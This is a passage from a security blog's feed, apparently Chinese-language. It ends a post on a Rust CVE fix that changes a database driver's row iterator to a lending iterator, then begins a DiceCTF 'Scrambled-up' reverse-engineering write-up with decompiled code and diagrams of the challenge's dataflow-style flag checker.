&#123;</span><br><span class="line">        <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123; <span class="title function_ invoke__">cass_iterator_free</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">-   <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Iterator</span> <span class="keyword">for</span> &amp;<span class="symbol">&#x27;a</span> RowIterator &#123;</span><br><span class="line">-       <span class="keyword">type</span> <span class="title class_">Item</span> = Value;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">LendingIterator</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">+       <span class="keyword">type</span> <span class="title class_">Item</span>&lt;<span class="symbol">&#x27;a</span>&gt; = Value&lt;<span class="symbol">&#x27;a</span>&gt; <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="symbol">&#x27;a</span>;</span><br><span class="line"></span><br><span class="line">-       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> <span class="built_in">Iterator</span>&gt;::Item&gt; &#123;</span><br><span class="line">+       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> LendingIterator&gt;::Item&lt;<span class="symbol">&#x27;_</span>&gt;&gt; &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123;</span><br><span class="line">            <span class="keyword">match</span> <span class="title function_ invoke__">cass_iterator_next</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#123;</span><br><span class="line">                cass_false =&gt; <span class="literal">None</span>,</span><br><span class="line">                cass_true =&gt; <span class="title function_ invoke__">Some</span>(Value::<span class="title function_ invoke__">build</span>(<span class="title function_ invoke__">cass_iterator_get_column</span>(<span class="keyword">self</span>.<span class="number">0</span>))),</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>在原先的实现中，<code>RowIterator</code>并没有生命周期，而从名字上我们也可得知，其最终可以获取<code>_Row</code>对象，其完美符合我们先前提及的模型，由<strong>Test1</strong>获取<strong>Test2</strong>对象的模型，所以对于这些类型，修复前很可能确实存在类似的问题。不过仔细研究后，大部分的<code>Iterator</code>对象以及其提供的接口之间，获取的数据并没有<code>Row</code>与<code>ResultIterator</code>这样的，来自同一段内存的关系，故这些修复猜测应该是针对同类型的漏洞进行提前的修补。</p><h2 id="参考资料">参考资料</h2><p><a href="https://kaisery.github.io/trpl-zh-cn/title-page.html">https://kaisery.github.io/trpl-zh-cn/title-page.html</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个漏洞是一个在和朋友看设计模式的时候无意中找到的漏洞，非常有趣，在这里简单记录一下&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;本文首发于先知平台 &lt;a href=&quot;https://xz.aliyun.com/t/14345&quot;&gt;https://xz.aliyun.com/t/14345&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="CVE" scheme="https://showlinkroom.me/tags/CVE/"/>
    
    <category term="Rust" scheme="https://showlinkroom.me/tags/Rust/"/>
    
  </entry>
  
  <entry>
    <title>DiceCTF_Scrambled_up</title>
    <link href="https://showlinkroom.me/2024/02/13/DiceCTF-Scrambled-up/"/>
    <id>https://showlinkroom.me/2024/02/13/DiceCTF-Scrambled-up/</id>
    <published>2024-02-13T14:30:32.000Z</published>
    <updated>2024-03-02T09:33:47.751Z</updated>
    
    <content type="html"><![CDATA[<p>周末有空打了个比赛，成功的爆零了（实际上队友做得很快，我自己倒是一个都没做出来）。比赛结束之后感觉这个题目依然挺有意思的，试着研究了一下，这里记录一下这个题目的做题过程</p><blockquote><p>本文首发于奇安信攻防社区 <a href="https://forum.butian.net/share/2770">https://forum.butian.net/share/2770</a></p></blockquote><span id="more"></span><h2 id="scrambled-up">Scrambled-up</h2><p><s>题目感觉是一种新型的混淆模式，又可能是一种常见的某种程序分析或者动态执行的过程。我咨询了周围一些朋友，大家都只是觉得眼熟，很可惜不能找到它的真身</s><br>主办方最后给出了<a href="https://gist.github.com/srikavin/ebfa3a78cbf24a47d8ff0e83e4aa1295%5D">程序的源码</a>，是经典的函数式编程。根据研究应该是某一种lisp的方言，感觉想要复现应该是很困难的了。。<br>这个文章前半段会讲一下大体的分析思路，如果只想看整体逻辑的话，可以跳到中间部分的<strong>程序架构介绍</strong>开始</p><h2 id="初探程序">初探程序</h2><p>题目只有一个elf，当把程序运行起来后，可以看到其大部分的逻辑都很普通，除了那个mmap了超大内存的地址，以及两个奇怪的函数（这两个函数我已经重命名过）</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">signal(SIGSEGV, invalid_flag);</span><br><span class="line">__printf_chk(<span class="number">1LL</span>, <span class="string">&quot;Enter the flag: &quot;</span>);</span><br><span class="line">fflush(stream);</span><br><span class="line">getline(&amp;input_buffer, &amp;n, qword_558958EEB680);</span><br><span class="line">input_ptr = &amp;input_buffer[<span class="built_in">strlen</span>(input_buffer) - <span class="number">1</span>];</span><br><span class="line"><span class="keyword">if</span> ( *input_ptr == <span class="string">&#x27;\n&#x27;</span> )</span><br><span class="line">  *input_ptr = <span class="number">0</span>;</span><br><span class="line">v10 = <span class="number">1</span>;</span><br><span class="line">v11[<span class="number">0</span>] = (__int64)input_buffer;</span><br><span class="line">v11[<span class="number">1</span>] = <span class="built_in">strlen</span>(input_buffer);</span><br><span class="line">off_558958EEB698 = (MyString *)v11;</span><br><span class="line">addr = mmap(<span class="number">0LL</span>, <span class="number">0xF00000</span>uLL, <span class="number">3</span>, <span class="number">0x22</span>, <span class="number">0</span>, <span class="number">0LL</span>);<span class="comment">// PROT_READ|PROT_WRITE</span></span><br><span class="line">inst_array = read_inst(inst_edge, inst_code); <span class="comment">// PART I: init block and edge</span></span><br><span class="line">parser_inst(lines_number, (__int64)inst_array);<span class="comment">// PART II: execute</span></span><br></pre></td></tr></table></figure><h3 id="程序初始化-read-inst">程序初始化 read_inst</h3><p>这个<code>read_inst</code>中会从两个全局变量中读取数据。他这个读取过程会使用两个全局变量<code>inst_edge</code>和<code>inst_code</code>。在这里，程序会分别将这些数据读入，并且更新一个数组，这里为了方便描述，下文称为<code>Block</code>。以下是修改后的大致逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">// 首先会遍历所有的inst_code</span></span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">    line = inst_code-&gt;line;</span><br><span class="line">    inst_code = inst_code-&gt;next_call;</span><br><span class="line">    <span class="keyword">if</span> ( max_line &lt; line )</span><br><span class="line">    max_line = line;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( inst_code );</span><br><span class="line"><span class="comment">// 申请足够 max_line大的内存空间存放inst_code</span></span><br><span class="line">blocks = <span class="built_in">malloc</span>(max_line * <span class="built_in">sizeof</span>(Block*))</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// 拷贝基本的block</span></span><br><span class="line">    <span class="built_in">update_block</span>(blocks, each_inst);</span><br><span class="line">    <span class="comment">// 注册两个重要概念：argv和slot</span></span><br><span class="line">    blocks-&gt;argv = <span class="built_in">malloc</span>(blocks-&gt;argv_cnt);</span><br><span class="line">    blocks-&gt;slot = <span class="built_in">malloc</span>(blocks-&gt;slot_cnt);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> ( each_inst_1 );</span><br><span class="line"></span><br><span class="line"><span class="comment">// 遍历所有的edge_inst，更新每一个Block的argv</span></span><br><span class="line">foreach(each_edge in edge_inst)</span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">int</span> src_block = each_edge-&gt;src;</span><br><span class="line">    <span class="type">int</span> dst_block = each_edge-&gt;dst;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">register_argv_slot</span>(blocks[each_edge-&gt;dst]-&gt;slot, blocks[each_edge-&gt;src]-&gt;argv);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据这里的逻辑，我们可以猜测如下的三个概念:</p><ul><li>Inst：记录一个类似二进制在磁盘上存储的状态，表示当前的一些运行基本信息</li><li>Edge：记录了两个不同的二进制块之间的关联</li><li>Block：类似于加载到内存中的程序块</li></ul><p>这三个结构体大致如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Inst</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Block *next_call;</span><br><span class="line">  __int64 line;</span><br><span class="line">  __int64 argc;</span><br><span class="line">  __int64 slot_cnt;</span><br><span class="line">  __int64 exec_type;</span><br><span class="line">  Var var;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Edge</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  Edge *next_cond;</span><br><span class="line">  __int64 dst_line;</span><br><span class="line">  __int64 src_line;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Block</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  __int64 line;</span><br><span class="line">  <span class="type">int</span> exec_type;</span><br><span class="line">  <span class="type">int</span> field_C;</span><br><span class="line">  __int64 argc;</span><br><span class="line">  Var *argv;</span><br><span class="line">  __int64 slot_cnt;</span><br><span class="line">  Var *slot_buffer;</span><br><span class="line">  Var value;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>第一次看到这些结构体可能会难以理解，我们会在文章后面逐步介绍这些结构体是什么。除了这些关系外，我们可以观察到，不同的Block（Inst）会被Edge关联起来，其关系如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"></span><br><span class="line">                                     +----------+</span><br><span class="line">                                     |          |</span><br><span class="line">                                     |  SRC1    |</span><br><span class="line">                                     |          |</span><br><span class="line">                     +-------+   +---+   BLOCK  |</span><br><span class="line">                     |       |   |   |          |</span><br><span class="line">                     |       |   |   |    argi1 |</span><br><span class="line">                     |       |   |   +----------+</span><br><span class="line">                     |     &lt;-+---+</span><br><span class="line">+-----------+        |       |       +----------+</span><br><span class="line">|           |        |       |       |          |</span><br><span class="line">|  DST      |        |       |       |  SRC3    |</span><br><span class="line">|          &lt;-+-------+       |       |          |</span><br><span class="line">|   BLOCK   |        |     &lt;-+-------+   BLOCK  |</span><br><span class="line">|           |        |       |       |          |</span><br><span class="line">|           |        |       |       |    argi2 |</span><br><span class="line">+-----------+        |SLOT   |       +----------+</span><br><span class="line">                     |       |</span><br><span class="line">                     |       |       +----------+</span><br><span class="line">                     |       |       |          |</span><br><span class="line">                     |       |       |  SRC3    |</span><br><span class="line">                     |       |       |          |</span><br><span class="line">                     |     &lt;-+-------+   BLOCK  |</span><br><span class="line">                     |       |       |          |</span><br><span class="line">                     |       |       |    argi3 |</span><br><span class="line">                     |       |       +----------+</span><br><span class="line">                     +-------+</span><br></pre></td></tr></table></figure><p>可以看到，每一个<code>DST</code>Block中，会被多个<code>SRC</code>Block注册。其中每一个<code>SRC</code>被注册的时候，会将对应的<code>arg</code>的<strong>地址</strong>放到<code>DST</code>中的<code>slot</code>中。每一个<code>arg</code>的序号不固定。</p><p>其次，我们可以注意到在<code>Inst</code>和<code>Block</code>末尾能看到一个叫做<code>Var</code>的变量:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Inst</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="comment">// ......</span></span><br><span class="line">  Var var;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Block</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  <span class="comment">// ....;</span></span><br><span class="line">  Var value;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>每一个Block中<strong>可能包含一个有效的属性变量</strong>。这个属性的定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">Var</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">  __int64 var_type;</span><br><span class="line">  __int64 var_or_ptr;</span><br><span class="line">  __int64 var_length;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>成员变量解释如下:</p><ul><li><code>var_type</code>:当前变量的类型。1的时候表示当前<code>var_or_ptr</code>中存放的为指针，2的时候表示<code>var_or_ptr</code>中存放的是变量本身，0的时候表示当前值为无效值</li><li><code>var_or_ptr</code>:当前变量的值</li><li><code>var_length</code>:当type为1的时候，表示指针指向的内容长度</li></ul><p>总结一下，初始化过程中会发生如下的流程：</p><ul><li>读取磁盘中的Inst，将其放入Blocks数组中</li><li>读取磁盘中的Edge，将不同的Blocks的arg与另一些Blocks的slot关联</li></ul><h3 id="解析block-parser-inst">解析Block parser_inst</h3><p>在执行流中，程序执行过程如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">  new_lines = <span class="built_in">calloc</span>(lines_number, <span class="number">1uLL</span>);</span><br><span class="line">  has_been_exec = &amp;new_lines;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !*has_been_exec )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( !iter_block-&gt;exec_type )           <span class="comment">// exec_type = 0 means don&#x27;t call any func</span></span><br><span class="line">          <span class="keyword">goto</span> just_execute;</span><br><span class="line">        pointer_cnt = iter_block-&gt;argc;</span><br><span class="line">        <span class="keyword">if</span> ( !pointer_cnt )</span><br><span class="line">        &#123;</span><br><span class="line">SelectCond:</span><br><span class="line">          exec_inst(iter_block);</span><br><span class="line">just_execute:</span><br><span class="line">          *has_been_exec = <span class="number">1</span>;</span><br><span class="line">          <span class="keyword">goto</span> LABEL_5;</span><br><span class="line">        &#125;</span><br><span class="line">        pointer_array = iter_block-&gt;argv;</span><br><span class="line">        check_idx = <span class="number">0LL</span>;</span><br><span class="line">        <span class="keyword">while</span> ( LODWORD(pointer_array-&gt;var_type) )</span><br><span class="line">        &#123;</span><br><span class="line">          ++check_idx;</span><br><span class="line">          ++pointer_array;</span><br><span class="line">          <span class="keyword">if</span> ( check_idx == pointer_cnt )</span><br><span class="line">            <span class="keyword">goto</span> SelectCond;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">LABEL_5:</span><br><span class="line">      ++has_been_exec;</span><br><span class="line">      ++iter_block;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( final_inst != has_been_exec );</span><br><span class="line">    <span class="comment">// skip code</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>整个程序流执行的时候，有如下的检测逻辑：</p><ul><li>如果argc为0的话，进入<code>exec_inst</code>逻辑</li><li>如果argc不为0的时候，检查argv是否已经被完全初始化（不为空），如果彻底初始化，进入<code>exec_inst</code>逻辑</li><li>程序运行完成之后，会检查是否执行到最后一个块，如果执行到最后一个块，但是并未每一个块都执行过，程序将会直接退出</li></ul><p>这里将会埋下程序执行流的第一个疑问：<strong>argv将会在哪儿被初始化？</strong></p><h4 id="执行部分-exec-inst">执行部分 exec_inst</h4><p>这个函数中，存放了11个不同的函数：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall <span class="title function_">exec_inst</span><span class="params">(NewInstr *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">void</span> *funcs[<span class="number">11</span>]; <span class="comment">// [rsp+0h] [rbp-78h] OVERLAPPED</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+68h] [rbp-10h]</span></span><br><span class="line"></span><br><span class="line">  funcs[<span class="number">0</span>] = <span class="number">0LL</span>;</span><br><span class="line">  *(_OWORD *)&amp;funcs[<span class="number">6</span>] = <span class="number">0LL</span>;</span><br><span class="line">  *(__m128i *)&amp;funcs[<span class="number">1</span>] = _mm_unpacklo_epi64(</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)func1_sum_ptr,</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)func2_multi);</span><br><span class="line">  funcs[<span class="number">5</span>] = func5_assing_if_else;</span><br><span class="line">  *(__m128i *)&amp;funcs[<span class="number">3</span>] = _mm_unpacklo_epi64(</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)func3_assign_valut_to_register,</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)func4_call_func);</span><br><span class="line">  *(__m128i *)&amp;funcs[<span class="number">8</span>] = _mm_unpacklo_epi64(</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)find_flag,</span><br><span class="line">                            (__m128i)(<span class="type">unsigned</span> __int64)func9_send_read_string);</span><br><span class="line">  *(__m128i *)&amp;funcs[<span class="number">10</span>] = _mm_unpacklo_epi64(</span><br><span class="line">                             (__m128i)(<span class="type">unsigned</span> __int64)func10_combine_two_pointer,</span><br><span class="line">                             (__m128i)(<span class="type">unsigned</span> __int64)funcb_get_value_frm_ptr_offset);</span><br><span class="line">  <span class="keyword">return</span> ((__int64 (*)(<span class="type">void</span>))funcs[a1-&gt;exec_type])();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>程序会通过将9个不同的函数放到栈上，并且根据<code>Block</code>中的<code>exec_type</code>指定我们需要执行的函数类型。我们在这里将这些函数定义为<strong>ExecFunc</strong>。这里总结一下不同的type对应的函数功能</p><table><thead><tr><th>type</th><th>函数作用</th></tr></thead><tbody><tr><td>1</td><td>将所有的argv相加，将答案赋值</td></tr><tr><td>2</td><td>将所有的argv相乘，将答案赋值</td></tr><tr><td>3</td><td>将var位置的block赋值</td></tr><tr><td>4</td><td>调用一个函数指针，并且将调用结果赋值</td></tr><tr><td>5</td><td>如果argv[0] == 0,则使用argv[1]赋值，否则使用argv[2]赋值</td></tr><tr><td>8</td><td>检查flag是否正确</td></tr><tr><td>9</td><td>调用read函数，将flag读入全局变量中</td></tr><tr><td>10</td><td>将两个指针指向的内存合并到一个新的内存中</td></tr><tr><td>11</td><td>获取argv[0][argv[1]]的值，并且赋值</td></tr></tbody></table><p>这里可以看到，反复提到了一个叫做<strong>赋值</strong>的操作。这个操作具体在做什么呢？我们选择其中最简单的类型3<code>assgin</code>为例子看一下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">assign</span><span class="params">(NewInstr *a1)</span></span><br><span class="line">  v1 = _mm_loadu_si128((<span class="type">const</span> __m128i *)&amp;a1-&gt;value);</span><br><span class="line">  var_length = a1-&gt;value.var_length;</span><br><span class="line">  var_cnt = a1-&gt;slot_cnt;</span><br><span class="line">  <span class="keyword">if</span> ( var_cnt )</span><br><span class="line">  &#123;</span><br><span class="line">    var_array = a1-&gt;slot_buffer;</span><br><span class="line">    end_var = (Var *)((<span class="type">char</span> *)var_array + <span class="number">8</span> * var_cnt);</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      each_var_obj = (Var *)var_array-&gt;var_type;</span><br><span class="line">      var_array = (Var *)((<span class="type">char</span> *)var_array + <span class="number">8</span>);</span><br><span class="line">      each_var_obj-&gt;var_length = var_length;</span><br><span class="line">      *(__m128i *)&amp;each_var_obj-&gt;var_type = v1;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( var_array != end_var );</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure><p>这边可以看到，程序在运行过程中，会将slot中存放的内容<strong>作为指针取出</strong>，并且将<strong>从var中取出的</strong>数值赋值到指针中。这个就是前文提到的<strong>赋值</strong>概念。更加形象化的描述的话，这个<strong>赋值</strong>过程如下：</p><ol><li>程序进入<code>exec_inst</code>，执行block指定的一个函数</li><li>此时，取出<code>block</code>中所有的argv（在之前我们限制了argv一定要都处于被初始化的状态，而且类似assign过程是不需要参数的）</li><li>执行操作，获得一个计算结果</li><li>从当前<code>block</code>的slot中取出所有的指针，并且进行赋值</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span>(<span class="type">int</span> i; i &lt; block-&gt;slot_cnt;i++ )</span><br><span class="line">&#123;</span><br><span class="line">  ptr = block-&gt;slot[i];</span><br><span class="line">  *ptr = ret_value;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>至此，我们可以知道当前Block的几个特征</p><ul><li>程序在运行过程中，一个Block的输出会影响其他Block的输入</li><li>Block通常会拥有多个参数，但是所有的参数都要其他的Block作为输出赋值，除非当前Block的<code>call_type</code>为3，此时block不拥有参数，只会有赋值动作</li><li>Block的输入参数不会被修改，单个Block类似于<strong>pure function</strong></li></ul><h5 id="exec-type-4-新的关键函数">exec_type 4 – 新的关键函数</h5><p>程序在运行的时候，会发现这个<code>exec_type:4</code>还蛮关键的，看到其函数如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">mprotect(addr, <span class="number">0xF00000</span>uLL, <span class="number">3</span>);</span><br><span class="line"><span class="built_in">memcpy</span>(addr, (<span class="type">const</span> <span class="type">void</span> *)a1-&gt;argv-&gt;var_or_ptr, a1-&gt;argv-&gt;var_length);</span><br><span class="line">mprotect(addr, <span class="number">0xF00000</span>uLL, <span class="number">5</span>);</span><br><span class="line"><span class="built_in">memset</span>(v17, <span class="number">0</span>, <span class="number">0x188</span>uLL);</span><br><span class="line">argc = a1-&gt;argc;</span><br><span class="line">v17[<span class="number">0</span>] = argc - <span class="number">1</span>;</span><br><span class="line"><span class="keyword">if</span> ( argc &gt; <span class="number">1</span> )</span><br><span class="line">  <span class="built_in">memcpy</span>(&amp;v17[<span class="number">1</span>], &amp;a1-&gt;argv[<span class="number">1</span>], <span class="number">24</span> * argc - <span class="number">0x18</span>);</span><br><span class="line">v2 = _mm_loadu_si128((<span class="type">const</span> __m128i *)g_flag);</span><br><span class="line">funcs = _mm_load_si128(v13);</span><br><span class="line">v11 = funcs;</span><br><span class="line">qmemcpy(v10, v17, <span class="keyword">sizeof</span>(v10));</span><br><span class="line">((<span class="type">void</span> (__fastcall *)(<span class="type">char</span> *))addr)(v18);     <span class="comment">// reorg_buffer(pointer1, pointer2)</span></span><br><span class="line">fflush(stream);</span><br><span class="line"><span class="comment">// skip code</span></span><br></pre></td></tr></table></figure><p>可以看到，这边会将<code>argv[0]</code>作为输入，拷贝到全局变量<code>addr</code>中，然后将其他的argv作为参数传入到这个函数指针中。然而在逆向过程中会发现，代码中的数据段<strong>并没有任何地方存放了一个完整的函数</strong>。通过一些逆向我们能够知道，函数们似乎<strong>在最初都被加密了</strong>，所以只得让程序运行一段再回头看。这里给出<code>call_type：4</code>会执行的函数，为了与上文的<strong>ExecFunc</strong>区分，这里我们定义他们为<strong>CallFunc</strong>（函数名为我们自定义的）。</p><table><thead><tr><th>函数名</th><th>作用</th></tr></thead><tbody><tr><td>xor_all_argv</td><td>将所有的参数异或</td></tr><tr><td>or_all_argv</td><td>将所有的参数或</td></tr><tr><td>and_all_argv</td><td>将所有的参数相与</td></tr><tr><td>check_if_zero</td><td>检查第二个参数是否为0，如果为0返回1，否则返回0</td></tr><tr><td>get_index_from_input</td><td>获取输入的第index参数，此时输入会传入该函数中</td></tr><tr><td>reorder</td><td>将输入（16字节）按照指定的顺序重构</td></tr><tr><td>maze_step</td><td>走迷宫函数，最后介绍</td></tr></tbody></table><p>到这一步，基本上所有静态分析（其实也使用了动态了）能做的就都做完了，接下需要对程序进行一个宏观审视，才能进一步的分析整个逻辑。</p><h2 id="程序架构介绍">程序架构介绍</h2><p>分析了上面的执行流之后，我们发现这个程序的执行过程和传统程序不一样，甚至和传统意义上<strong>被混淆的程序</strong>有所不同。</p><p>传统意义上，我们的程序使用了是带有分支的执行流，例如:</p><figure class="highlight c"><table><tr><td 